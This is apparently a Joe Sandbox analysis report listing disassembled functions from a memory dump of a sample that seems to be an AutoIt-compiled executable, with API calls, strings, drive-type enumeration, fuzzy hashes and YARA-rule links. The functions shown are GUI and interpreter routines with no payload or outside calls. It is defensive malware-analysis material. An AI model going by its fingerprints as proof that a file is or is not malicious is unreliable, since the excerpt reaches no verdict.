Instruction Fuzzy Hash: F4D180702083069FDB16EF14C895AAE7BE5BF95344F044459B8C69F3E2CF29E90ADB41

Function 0100A849 Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0100A89F
GetSysColorBrush.USER32(0000000F), ref: 0100A8D0
GetSysColor.USER32(0000000F), ref: 0100A8DC
SetBkColor.GDI32(?,000000FF), ref: 0100A8F6
SelectObject.GDI32(?,?), ref: 0100A905
InflateRect.USER32(?,000000FF,000000FF), ref: 0100A930
GetSysColor.USER32(00000010), ref: 0100A938
CreateSolidBrush.GDI32(00000000), ref: 0100A93F
FrameRect.USER32(?,?,00000000), ref: 0100A94E
DeleteObject.GDI32(00000000), ref: 0100A955
InflateRect.USER32(?,000000FE,000000FE), ref: 0100A9A0
FillRect.USER32(?,?,?), ref: 0100A9D2
GetWindowLongW.USER32(?,000000F0), ref: 0100A9FD

Part of subcall function 0100AB60: GetSysColor.USER32(00000012), ref: 0100AB99
Part of subcall function 0100AB60: SetTextColor.GDI32(?,?), ref: 0100AB9D
Part of subcall function 0100AB60: GetSysColorBrush.USER32(0000000F), ref: 0100ABB3
Part of subcall function 0100AB60: GetSysColor.USER32(0000000F), ref: 0100ABBE
Part of subcall function 0100AB60: GetSysColor.USER32(00000011), ref: 0100ABDB
Part of subcall function 0100AB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0100ABE9
Part of subcall function 0100AB60: SelectObject.GDI32(?,00000000), ref: 0100ABFA
Part of subcall function 0100AB60: SetBkColor.GDI32(?,00000000), ref: 0100AC03
Part of subcall function 0100AB60: SelectObject.GDI32(?,?), ref: 0100AC10
Part of subcall function 0100AB60: InflateRect.USER32(?,000000FF,000000FF), ref: 0100AC2F
Part of subcall function 0100AB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0100AC46
Part of subcall function 0100AB60: GetWindowLongW.USER32(00000000,000000F0), ref: 0100AC5B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 6b7a1ba3ccc2159eb7490807674eb3de6b361bdb46a598f7bc7c8fa9904e3446
Instruction ID: 0bad95d40ad5e8b8062bbda951e04d443373f2794240d0b5d3998952adf34107
Opcode Fuzzy Hash: 6b7a1ba3ccc2159eb7490807674eb3de6b361bdb46a598f7bc7c8fa9904e3446
Instruction Fuzzy Hash: 20A1A072108302EFE7629F64DC08A5B7BE9FF89321F004A19FAA2971D0D73AD944DB51

Function 00F82C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00F82CA2
DeleteObject.GDI32(00000000), ref: 00F82CE8
DeleteObject.GDI32(00000000), ref: 00F82CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00F82CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00F82D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00FBC68B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00FBC6C4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00FBCAED

Part of subcall function 00F81B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F82036,?,00000000,?,?,?,?,00F816CB,00000000,?), ref: 00F81B9A

SendMessageW.USER32(?,00001053), ref: 00FBCB2A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00FBCB41
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00FBCB57
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00FBCB62

Strings

0, xrefs: 00FBC981

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 399fc97ba45cfba055e65edaa5ffa2bc25a89639dfc0efd958809dc013281883
Instruction ID: 3c687586b0f12ef1c80416537ff35c15057f398edcc403831470f34be59f621c
Opcode Fuzzy Hash: 399fc97ba45cfba055e65edaa5ffa2bc25a89639dfc0efd958809dc013281883
Instruction Fuzzy Hash: CF12AF30A04202EFDB21DF25C885BEABBE5BF45320F544569F586DB252CB35E842EF90

Function 00FF77BE Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00FF77F1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00FF78B0
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00FF78EE
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00FF7900
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00FF7946
GetClientRect.USER32(00000000,?), ref: 00FF7952
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00FF7996
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00FF79A5
GetStockObject.GDI32(00000011), ref: 00FF79B5
SelectObject.GDI32(00000000,00000000), ref: 00FF79B9
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00FF79C9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FF79D2
DeleteDC.GDI32(00000000), ref: 00FF79DB
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00FF7A07
SendMessageW.USER32(00000030,00000000,00000001), ref: 00FF7A1E
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00FF7A59
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00FF7A6D
SendMessageW.USER32(00000404,00000001,00000000), ref: 00FF7A7E
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00FF7AAE
GetStockObject.GDI32(00000011), ref: 00FF7AB9
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00FF7AC4
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00FF7ACE

Strings

AutoIt v3, xrefs: 00FF793E
DISPLAY, xrefs: 00FF799B
static, xrefs: 00FF7990, 00FF7AA8
msctls_progress32, xrefs: 00FF7A4F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: cf6fa61d86094bad036563a35e2658ac7b3c949a98c2d5b685bacc75e124f578
Instruction ID: 3c352b341659126c3e703e2d2f41c65a53875e9f92185cee9776eece1418c63b
Opcode Fuzzy Hash: cf6fa61d86094bad036563a35e2658ac7b3c949a98c2d5b685bacc75e124f578
Instruction Fuzzy Hash: 25A192B1A40609BFEB24DBA4DD8AFAEBBB9EF45710F104104FA54A71D0D779AD00DB60

Function 00FEAF7B Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FEAF89
GetDriveTypeW.KERNEL32(?,0100FAC0,?,\\.\,0100F910), ref: 00FEB066
SetErrorMode.KERNEL32(00000000,0100FAC0,?,\\.\,0100F910), ref: 00FEB1C4

Strings

Virtual, xrefs: 00FEB18C
Fixed, xrefs: 00FEB0AE
ATA, xrefs: 00FEB13F
Network, xrefs: 00FEB0A4
\\.\, xrefs: 00FEAFDB
RAID, xrefs: 00FEB162
iSCSI, xrefs: 00FEB169
USB, xrefs: 00FEB15B
RAMDisk, xrefs: 00FEB090
SCSI, xrefs: 00FEB131
SSA, xrefs: 00FEB14D
SSD, xrefs: 00FEB0F1
SAS, xrefs: 00FEB170
CDROM, xrefs: 00FEB09A
Unknown, xrefs: 00FEB086, 00FEB12A
1394, xrefs: 00FEB146
PhysicalDrive, xrefs: 00FEB012
Fibre, xrefs: 00FEB154
FileBackedVirtual, xrefs: 00FEB193
Removable, xrefs: 00FEB0B8
ATAPI, xrefs: 00FEB138
SATA, xrefs: 00FEB177
MMC, xrefs: 00FEB185

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: c39ddcd52c84a7ef5695745ea8e9b2f437f2b73a31e258d1acffc3b73c10504e
Instruction ID: 590189b23793f4f74090a3ac8950f129407eade0b45da4fe463b3d32b62282bc
Opcode Fuzzy Hash: c39ddcd52c84a7ef5695745ea8e9b2f437f2b73a31e258d1acffc3b73c10504e
Instruction Fuzzy Hash: DB519431B84386EB8B15EB13CD92ABE73B4BB947657204019E487EB260C77DAD41FB41

Function 00F86A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00F86A91
__wcsnicmp.LIBCMT ref: 00F86AA9
__wcsnicmp.LIBCMT ref: 00F86AC1
__wcsnicmp.LIBCMT ref: 00F86AD9
__wcsnicmp.LIBCMT ref: 00F86AF1
__wcsnicmp.LIBCMT ref: 00F86B09
__wcsnicmp.LIBCMT ref: 00F86B21
__wcsnicmp.LIBCMT ref: 00F86B35
__wcsnicmp.LIBCMT ref: 00F86B76
__wcsnicmp.LIBCMT ref: 00F86B8A
__wcsnicmp.LIBCMT ref: 00F86B9E
__wcsnicmp.LIBCMT ref: 00F86BB2

Strings

#include-once, xrefs: 00F86AEB
#comments-start, xrefs: 00F86B1B, 00F86B70
#cs, xrefs: 00F86B2F, 00F86B84
#notrayicon, xrefs: 00F86AA3
#OnAutoItStartRegister, xrefs: 00F86AD3
#comments-end, xrefs: 00F86B98
Bad directive syntax error, xrefs: 00FBE743
Unterminated group of comments, xrefs: 00FBE82C
#requireadmin, xrefs: 00F86ABB
#ce, xrefs: 00F86BAC
Cannot parse #include, xrefs: 00FBE819
#include, xrefs: 00F86B03
#pragma compile, xrefs: 00F86A8B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 5c2929ae54897e8de2e313f6c69c6df66f834f465c2160430e173d96db2589d3
Instruction ID: 7492dc1f82b73c6a36fc969dbca439259fbe38f500466de4fbe9ee7daa474c92
Opcode Fuzzy Hash: 5c2929ae54897e8de2e313f6c69c6df66f834f465c2160430e173d96db2589d3
Instruction Fuzzy Hash: BF8127B1A00316BBCB25BB61CC83FEE7768AF16710F144024F941EA186EB68DA45F791

Function 0100AB60 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0100AB99
SetTextColor.GDI32(?,?), ref: 0100AB9D
GetSysColorBrush.USER32(0000000F), ref: 0100ABB3
GetSysColor.USER32(0000000F), ref: 0100ABBE
CreateSolidBrush.GDI32(?), ref: 0100ABC3
GetSysColor.USER32(00000011), ref: 0100ABDB
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0100ABE9
SelectObject.GDI32(?,00000000), ref: 0100ABFA
SetBkColor.GDI32(?,00000000), ref: 0100AC03
SelectObject.GDI32(?,?), ref: 0100AC10
InflateRect.USER32(?,000000FF,000000FF), ref: 0100AC2F
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0100AC46
GetWindowLongW.USER32(00000000,000000F0), ref: 0100AC5B
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0100ACA7
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0100ACCE
InflateRect.USER32(?,000000FD,000000FD), ref: 0100ACEC
DrawFocusRect.USER32(?,?), ref: 0100ACF7
GetSysColor.USER32(00000011), ref: 0100AD05
SetTextColor.GDI32(?,00000000), ref: 0100AD0D
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0100AD21
SelectObject.GDI32(?,0100A869), ref: 0100AD38
DeleteObject.GDI32(?), ref: 0100AD43
SelectObject.GDI32(?,?), ref: 0100AD49
DeleteObject.GDI32(?), ref: 0100AD4E
SetTextColor.GDI32(?,?), ref: 0100AD54
SetBkColor.GDI32(?,?), ref: 0100AD5E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: cec417edc257d2cd7b70ce1c065a625d80100edebeb48e772b6a2500119f188b
Instruction ID: c57425853eb83f34d5923260b2085922758ebcc018dec225c80f914018bd43a8
Opcode Fuzzy Hash: cec417edc257d2cd7b70ce1c065a625d80100edebeb48e772b6a2500119f188b
Instruction Fuzzy Hash: 26617F71900219EFEB229FA8DC48EAE7BB9FB08320F114515FA51AB2D1D6769940DB90

Function 01008C44 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 01008D34
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01008D45
CharNextW.USER32(0000014E), ref: 01008D74
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 01008DB5
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 01008DCB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01008DDC
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 01008DF9
SetWindowTextW.USER32(?,0000014E), ref: 01008E45
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 01008E5B
SendMessageW.USER32(?,00001002,00000000,?), ref: 01008E8C
_memset.LIBCMT ref: 01008EB1
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 01008EFA
_memset.LIBCMT ref: 01008F59
SendMessageW.USER32(?,00001053,000000FF,?), ref: 01008F83
SendMessageW.USER32(?,00001074,?,00000001), ref: 01008FDB
SendMessageW.USER32(?,0000133D,?,?), ref: 01009088
InvalidateRect.USER32(?,00000000,00000001), ref: 010090AA
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 010090F4
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 01009121
DrawMenuBar.USER32(?), ref: 01009130
SetWindowTextW.USER32(?,0000014E), ref: 01009158

Strings

0, xrefs: 010090C2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 30b8d263df5c3fb1182404a7a269f645ed5c98020966112fb7ea34dd1e4c953f
Instruction ID: 40b7f14fbf3e1642440097ed63bbdd741a793d1a0c82f1b47cda59095c11ee1b
Opcode Fuzzy Hash: 30b8d263df5c3fb1182404a7a269f645ed5c98020966112fb7ea34dd1e4c953f
Instruction Fuzzy Hash: 41E18470904209ABEF22DF64CC84EEE7BB9FF05714F00819AFA99961D1DB758A41DF50

Function 01004B16 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 01004C51
GetDesktopWindow.USER32 ref: 01004C66
GetWindowRect.USER32(00000000), ref: 01004C6D
GetWindowLongW.USER32(?,000000F0), ref: 01004CCF
DestroyWindow.USER32(?), ref: 01004CFB
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 01004D24
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 01004D42
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 01004D68
SendMessageW.USER32(?,00000421,?,?), ref: 01004D7D
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 01004D90
IsWindowVisible.USER32(?), ref: 01004DB0
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 01004DCB
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 01004DDF
GetWindowRect.USER32(?,?), ref: 01004DF7
MonitorFromPoint.USER32(?,?,00000002), ref: 01004E1D
GetMonitorInfoW.USER32(00000000,?), ref: 01004E37
CopyRect.USER32(?,?), ref: 01004E4E
SendMessageW.USER32(?,00000412,00000000), ref: 01004EB9

Strings

0, xrefs: 01004BFC
tooltips_class32, xrefs: 01004D1D
(, xrefs: 01004E2A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 1a9bdd0ce436dfc8f702aa21b08ef5d9fdd7dbccd1f04ed9faae6f21bc861b93
Instruction ID: f2d29199f18b5a4223f9926daa616bc0a61b0b8e09f23786bf12aef36955ffdc
Opcode Fuzzy Hash: 1a9bdd0ce436dfc8f702aa21b08ef5d9fdd7dbccd1f04ed9faae6f21bc861b93
Instruction Fuzzy Hash: 8FB18C71608341AFEB55DF28C848B6ABBE4BF88310F04891DF6C9DB291DB75E805CB56

Function 00FE46D6 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00FE46E8
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00FE470E
_wcscpy.LIBCMT ref: 00FE473C
_wcscmp.LIBCMT ref: 00FE4747
_wcscat.LIBCMT ref: 00FE475D
_wcsstr.LIBCMT ref: 00FE4768
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00FE4784
_wcscat.LIBCMT ref: 00FE47CD
_wcscat.LIBCMT ref: 00FE47D4
_wcsncpy.LIBCMT ref: 00FE47FF

Strings

DefaultLangCodepage, xrefs: 00FE47E7
StringFileInfo\, xrefs: 00FE4757
\VarFileInfo\Translation, xrefs: 00FE477C
04090000, xrefs: 00FE47BA
%u.%u.%u.%u, xrefs: 00FE4862

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: f6a3937820386adad6676b465ec56ccb5b0ad35138ae36e0eabb195e06319ead
Instruction ID: 075fe66ce30c0d0f57f89552bab294ecb5ac75395756a593242377cd302a7422
Opcode Fuzzy Hash: f6a3937820386adad6676b465ec56ccb5b0ad35138ae36e0eabb195e06319ead
Instruction Fuzzy Hash: 19410AB2A04241BBE711A7659C43EBF776CEF43710F00405DF944E6142EB79AA4176B5

Function 00F827D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00F828BC
GetSystemMetrics.USER32(00000007), ref: 00F828C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00F828EF
GetSystemMetrics.USER32(00000008), ref: 00F828F7
GetSystemMetrics.USER32(00000004), ref: 00F8291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00F82939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00F82949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00F8297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00F82990
GetClientRect.USER32(00000000,000000FF), ref: 00F829AE
GetStockObject.GDI32(00000011), ref: 00F829CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00F829D5

Part of subcall function 00F82344: GetCursorPos.USER32(?), ref: 00F82357
Part of subcall function 00F82344: ScreenToClient.USER32(010467B0,?), ref: 00F82374
Part of subcall function 00F82344: GetAsyncKeyState.USER32(00000001), ref: 00F82399
Part of subcall function 00F82344: GetAsyncKeyState.USER32(00000002), ref: 00F823A7

SetTimer.USER32(00000000,00000000,00000028,00F81256), ref: 00F829FC

Strings

AutoIt v3 GUI, xrefs: 00F82974

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 1a4aa0c63c30c319081a464abe1ea1032639a79ee815d22de5890613234fecf7
Instruction ID: 7797bd188dc6ad0b7eceb440cb863445d29a210bf2310d99fed3b5f36a52a26b
Opcode Fuzzy Hash: 1a4aa0c63c30c319081a464abe1ea1032639a79ee815d22de5890613234fecf7
Instruction Fuzzy Hash: 4EB181B1A0020A9FDB25DF68DC85BEE7BB4FB08711F104229FA55D7284DB79A841EF50

Function 01004069 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 010040F6
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 010041B6

Strings

DESELECT, xrefs: 010042A4
FINDITEM, xrefs: 01004329
SELECTCLEAR, xrefs: 01004235
ISSELECTED, xrefs: 010041C1
GETSELECTEDCOUNT, xrefs: 01004199
GETSUBITEMCOUNT, xrefs: 01004141
GETTEXT, xrefs: 0100415F
VIEWCHANGE, xrefs: 01004375
GETSELECTED, xrefs: 010042E4
SELECTALL, xrefs: 0100421D
GETITEMCOUNT, xrefs: 01004128
SELECTINVERT, xrefs: 01004286
SELECT, xrefs: 01004250

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
